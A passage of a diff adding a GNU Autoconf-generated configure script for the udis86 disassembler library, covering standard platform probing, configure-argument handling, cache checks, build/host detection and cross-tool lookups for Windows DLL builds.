"$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5 +$as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;} + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 +$as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} +( $as_echo "## --------------------------------- ## +## Report this to vivek.mt@gmail.com ## +## --------------------------------- ##" + ) | sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +$as_echo_n "checking for $2... " >&6; } +if eval \${$3+:} false; then : + $as_echo_n "(cached) " >&6 +else + eval "$3=\$ac_header_compiler" +fi +eval ac_res=\$$3 + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +$as_echo "$ac_res" >&6; } +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_header_mongrel +cat >config.log <<_ACEOF +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. + +It was created by udis86 $as_me 1.7.2, which was +generated by GNU Autoconf 2.69. Invocation command line was + + $ $0 $@ + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + $as_echo "PATH: $as_dir" + done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; + 2) + as_fn_append ac_configure_args1 " '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | --config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + as_fn_append ac_configure_args " '$ac_arg'" + ;; + esac + done +done +{ ac_configure_args0=; unset ac_configure_args0;} +{ ac_configure_args1=; unset ac_configure_args1;} + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Save into config.log some information that might help in debugging. + { + echo + + $as_echo "## ---------------- ## +## Cache variables. ## +## ---------------- ##" + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 +$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) { eval $ac_var=; unset $ac_var;} ;; + esac ;; + esac + done + (set) 2>&1 | + case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + $as_echo "## ----------------- ## +## Output variables. ## +## ----------------- ##" + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + $as_echo "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + $as_echo "## ------------------- ## +## File substitutions. ## +## ------------------- ##" + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + $as_echo "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + $as_echo "## ----------- ## +## confdefs.h. ## +## ----------- ##" + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + $as_echo "$as_me: caught signal $ac_signal" + $as_echo "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +$as_echo "/* confdefs.h */" > confdefs.h + +# Predefined preprocessor variables. + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_NAME "$PACKAGE_NAME" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_TARNAME "$PACKAGE_TARNAME" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_VERSION "$PACKAGE_VERSION" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_STRING "$PACKAGE_STRING" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_URL "$PACKAGE_URL" +_ACEOF + + +# Let the site file select an alternate cache file if it wants to. +# Prefer an explicitly selected file to automatically selected ones. +ac_site_file1=NONE +ac_site_file2=NONE +if test -n "$CONFIG_SITE"; then + # We do not want a PATH search for config.site. + case $CONFIG_SITE in #(( + -*) ac_site_file1=./$CONFIG_SITE;; + */*) ac_site_file1=$CONFIG_SITE;; + *) ac_site_file1=./$CONFIG_SITE;; + esac +elif test "x$prefix" != xNONE; then + ac_site_file1=$prefix/share/config.site + ac_site_file2=$prefix/etc/config.site +else + ac_site_file1=$ac_default_prefix/share/config.site + ac_site_file2=$ac_default_prefix/etc/config.site +fi +for ac_site_file in "$ac_site_file1" "$ac_site_file2" +do + test "x$ac_site_file" = xNONE && continue + if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 +$as_echo "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" \ + || { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "failed to load site script $ac_site_file +See \`config.log' for more details" "$LINENO" 5; } + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special files + # actually), so we avoid doing that. DJGPP emulates it as a regular file. + if test /dev/null != "$cache_file" && test -f "$cache_file"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 +$as_echo "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { $as_echo "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 +$as_echo "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 +$as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 +$as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + # differences in whitespace do not lead to failure. + ac_old_val_w=`echo x $ac_old_val` + ac_new_val_w=`echo x $ac_new_val` + if test "$ac_old_val_w" != "$ac_new_val_w"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 +$as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} + ac_cache_corrupted=: + else + { $as_echo "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 +$as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} + eval $ac_var=\$ac_old_val + fi + { $as_echo "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 +$as_echo "$as_me: former value: \`$ac_old_val'" >&2;} + { $as_echo "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 +$as_echo "$as_me: current value: \`$ac_new_val'" >&2;} + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) as_fn_append ac_configure_args " '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} + { $as_echo "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 +$as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} + as_fn_error $? "run \`make distclean' and/or \`rm $cache_file' and start over" "$LINENO" 5 +fi +## -------------------- ## +## Main body of script. ## +## -------------------- ## + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +ac_config_headers="$ac_config_headers config.h" + +ac_aux_dir= +for ac_dir in build "$srcdir"/build; do + if test -f "$ac_dir/install-sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f "$ac_dir/install.sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + elif test -f "$ac_dir/shtool"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/shtool install -c" + break + fi +done +if test -z "$ac_aux_dir"; then + as_fn_error $? "cannot find install-sh, install.sh, or shtool in build \"$srcdir\"/build" "$LINENO" 5 +fi + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. +ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. +ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. + + + + +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_compare_version.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_COMPARE_VERSION(VERSION_A, OP, VERSION_B, [ACTION-IF-TRUE], [ACTION-IF-FALSE]) +# +# DESCRIPTION +# +# This macro compares two version strings. Due to the various number of +# minor-version numbers that can exist, and the fact that string +# comparisons are not compatible with numeric comparisons, this is not +# necessarily trivial to do in a autoconf script. This macro makes doing +# these comparisons easy. +# +# The six basic comparisons are available, as well as checking equality +# limited to a certain number of minor-version levels. +# +# The operator OP determines what type of comparison to do, and can be one +# of: +# +# eq - equal (test A == B) +# ne - not equal (test A != B) +# le - less than or equal (test A <= B) +# ge - greater than or equal (test A >= B) +# lt - less than (test A < B) +# gt - greater than (test A > B) +# +# Additionally, the eq and ne operator can have a number after it to limit +# the test to that number of minor versions. +# +# eq0 - equal up to the length of the shorter version +# ne0 - not equal up to the length of the shorter version +# eqN - equal up to N sub-version levels +# neN - not equal up to N sub-version levels +# +# When the condition is true, shell commands ACTION-IF-TRUE are run, +# otherwise shell commands ACTION-IF-FALSE are run. The environment +# variable 'ax_compare_version' is always set to either 'true' or 'false' +# as well. +# +# Examples: +# +# AX_COMPARE_VERSION([3.15.7],[lt],[3.15.8]) +# AX_COMPARE_VERSION([3.15],[lt],[3.15.8]) +# +# would both be true. +# +# AX_COMPARE_VERSION([3.15.7],[eq],[3.15.8]) +# AX_COMPARE_VERSION([3.15],[gt],[3.15.8]) +# +# would both be false. +# +# AX_COMPARE_VERSION([3.15.7],[eq2],[3.15.8]) +# +# would be true because it is only comparing two minor versions. +# +# AX_COMPARE_VERSION([3.15.7],[eq0],[3.15]) +# +# would be true because it is only comparing the lesser number of minor +# versions of the two values. +# +# Note: The characters that separate the version numbers do not matter. An +# empty string is the same as version 0. OP is evaluated by autoconf, not +# configure, so must be a string, not a variable. +# +# The author would like to acknowledge Guido Draheim whose advice about +# the m4_case and m4_ifvaln functions make this macro only include the +# portions necessary to perform the specific comparison specified by the +# OP argument in the final configure script. +# +# LICENSE +# +# Copyright (c) 2008 Tim Toolan +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. + +#serial 11 + + +# SYNOPSIS +# +# AX_PROG_SPHINX_VERSION([VERSION],[ACTION-IF-TRUE],[ACTION-IF-FALSE]) +# +# DESCRIPTION +# +# Makes sure that sphinx-build supports the version indicated. If true +# the shell commands in ACTION-IF-TRUE are executed. If not the shell +# commands in ACTION-IF-FALSE are run. Note if $SPHINX_BUILD is not set +# (for example by running AX_WITH_PROG) the macro will fail. +# +# Example: +# +# AX_WITH_PROG(SPHINX_BUILD,sphinx-build) +# AX_PROG_SPHINX([1.1.1],[ ... ],[ ... ]) +# +# LICENSE +# +# ax_prog_python_version.m4 +# +# Copyright (c) 2009 Francesco Salvestrini +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. +# +# ax_prog_sphinx_version.m4 +# +# Copyright (c) 2013 Vivek Thampi + + + + +# SYNOPSIS +# +# AX_PROG_YASM_VERSION([VERSION],[ACTION-IF-TRUE],[ACTION-IF-FALSE]) +# +# DESCRIPTION +# +# Makes sure that yasm supports the version indicated. If true +# the shell commands in ACTION-IF-TRUE are executed. If not the shell +# commands in ACTION-IF-FALSE are run. Note if $YASM is not set +# (for example by running AX_WITH_PROG) the macro will fail. +# +# Example: +# +# AX_WITH_PROG(YASM,yasm) +# AX_PROG_YASM_VERSION([1.1.1],[ ... ],[ ... ]) +# +# LICENSE +# +# ax_prog_python_version.m4 +# +# Copyright (c) 2009 Francesco Salvestrini +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. +# +# ax_prog_yasm_version.m4 +# +# Copyright (c) 2013 Vivek Thampi + + + + +# =========================================================================== +# http://www.nongnu.org/autoconf-archive/ax_with_prog.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_WITH_PROG([VARIABLE],[program],[VALUE-IF-NOT-FOUND],[PATH]) +# +# DESCRIPTION +# +# Locates an installed program binary, placing the result in the precious +# variable VARIABLE. Accepts a present VARIABLE, then --with-program, and +# failing that searches for program in the given path (which defaults to +# the system path). If program is found, VARIABLE is set to the full path +# of the binary; if it is not found VARIABLE is set to VALUE-IF-NOT-FOUND +# if provided, unchanged otherwise. +# +# A typical example could be the following one: +# +# AX_WITH_PROG(PERL,perl) +# +# NOTE: This macro is based upon the original AX_WITH_PYTHON macro from +# Dustin J. Mitchell . +# +# LICENSE +# +# Copyright (c) 2008 Francesco Salvestrini +# Copyright (c) 2008 Dustin J. Mitchell +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. + + + +# =========================================================================== +# http://www.nongnu.org/autoconf-archive/ax_with_python.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_WITH_PYTHON([VALUE-IF-NOT-FOUND],[PATH]) +# +# DESCRIPTION +# +# Locates an installed Python binary, placing the result in the precious +# variable $PYTHON. Accepts a present $PYTHON, then --with-python, and +# failing that searches for python in the given path (which defaults to +# the system path). If python is found, $PYTHON is set to the full path of +# the binary; if it is not found $PYTHON is set to VALUE-IF-NOT-FOUND if +# provided, unchanged otherwise. +# +# A typical use could be the following one: +# +# AX_WITH_PYTHON +# +# LICENSE +# +# Copyright (c) 2008 Francesco Salvestrini +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. + + + + +# Make sure $ACLOCAL_FLAGS are used during a rebuild. +ACLOCAL_AMFLAGS="-I $ac_macro_dir \${ACLOCAL_FLAGS}" + + +# +# Determine the build host; we notify automake of Windows +# builds, so it can pass proper parameters for building +# DLLs to the linker. +# +# Make sure we can run config.sub. +$SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || + as_fn_error $? "cannot run $SHELL $ac_aux_dir/config.sub" "$LINENO" 5 + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking build system type" >&5 +$as_echo_n "checking build system type... " >&6; } +if ${ac_cv_build+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_build_alias=$build_alias +test "x$ac_build_alias" = x && + ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` +test "x$ac_build_alias" = x && + as_fn_error $? "cannot guess build type; you must specify one" "$LINENO" 5 +ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || + as_fn_error $? "$SHELL $ac_aux_dir/config.sub $ac_build_alias failed" "$LINENO" 5 + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_build" >&5 +$as_echo "$ac_cv_build" >&6; } +case $ac_cv_build in +*-*-*) ;; +*) as_fn_error $? "invalid value of canonical build" "$LINENO" 5;; +esac +build=$ac_cv_build +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_build +shift +build_cpu=$1 +build_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +build_os=$* +IFS=$ac_save_IFS +case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking host system type" >&5 +$as_echo_n "checking host system type... " >&6; } +if ${ac_cv_host+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test "x$host_alias" = x; then + ac_cv_host=$ac_cv_build +else + ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || + as_fn_error $? "$SHELL $ac_aux_dir/config.sub $host_alias failed" "$LINENO" 5 +fi + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_host" >&5 +$as_echo "$ac_cv_host" >&6; } +case $ac_cv_host in +*-*-*) ;; +*) as_fn_error $? "invalid value of canonical host" "$LINENO" 5;; +esac +host=$ac_cv_host +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_host +shift +host_cpu=$1 +host_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +host_os=$* +IFS=$ac_save_IFS +case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac + + + +case "$host_os" in + mingw32* ) + TARGET_OS=windows + enable_win32_dll=yes + +case $host in +*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-cegcc*) + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args. +set dummy ${ac_tool_prefix}as; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_AS+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$AS"; then + ac_cv_prog_AS="$AS" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_AS="${ac_tool_prefix}as" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +AS=$ac_cv_prog_AS +if test -n "$AS"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5 +$as_echo "$AS" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_AS"; then + ac_ct_AS=$AS + # Extract the first word of "as", so it can be a program name with args. +set dummy as; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_AS+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_AS"; then + ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_AS="as" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_AS=$ac_cv_prog_ac_ct_AS +if test -n "$ac_ct_AS"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5 +$as_echo "$ac_ct_AS" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_AS" = x; then + AS="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + AS=$ac_ct_AS + fi +else + AS="$ac_cv_prog_AS" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args. +set dummy ${ac_tool_prefix}dlltool; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_DLLTOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$DLLTOOL"; then + ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +DLLTOOL=$ac_cv_prog_DLLTOOL +if test -n "$DLLTOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5 +$as_echo "$DLLTOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_DLLTOOL"; then + ac_ct_DLLTOOL=$DLLTOOL + # Extract the first word of "dlltool", so it can be a program name with args. +set dummy dlltool; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_DLLTOOL"; then + ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DLLTOOL="dlltool" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL +if test -n "$ac_ct_DLLTOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5 +$as_echo "$ac_ct_DLLTOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_DLLTOOL" = x; then + DLLTOOL="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DLLTOOL=$ac_ct_DLLTOOL + fi +else + DLLTOOL="$ac_cv_prog_DLLTOOL" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args. +set dummy ${ac_tool_prefix}objdump; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_OBJDUMP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$OBJDUMP"; then + ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +OBJDUMP=$ac_cv_prog_OBJDUMP +if test -n "$OBJDUMP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5 +$as_echo "$OBJDUMP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OBJDUMP"; then + ac_ct_OBJDUMP=$OBJDUMP + # Extract the first word of "objdump", so it can be a program name with args. +set dummy objdump; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for 